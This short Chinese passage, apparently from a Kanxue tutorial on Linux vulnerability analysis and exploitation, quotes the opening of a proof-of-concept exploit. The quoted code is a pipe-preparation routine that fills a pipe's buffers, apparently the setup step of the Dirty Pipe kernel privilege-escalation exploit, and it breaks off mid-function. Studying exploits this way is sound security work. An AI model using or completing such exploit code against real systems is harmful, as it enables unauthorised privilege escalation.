看雪Linux平台漏洞分析、利用和挖掘
从POC看漏洞利用流程
限于篇幅,这里截取POC的部分代码。
static void prepare_pipe(int p[2]){
if (pipe(p)) abort();
// 获取Pipe可使用的最大页面数量
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
// 任意数据填充
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}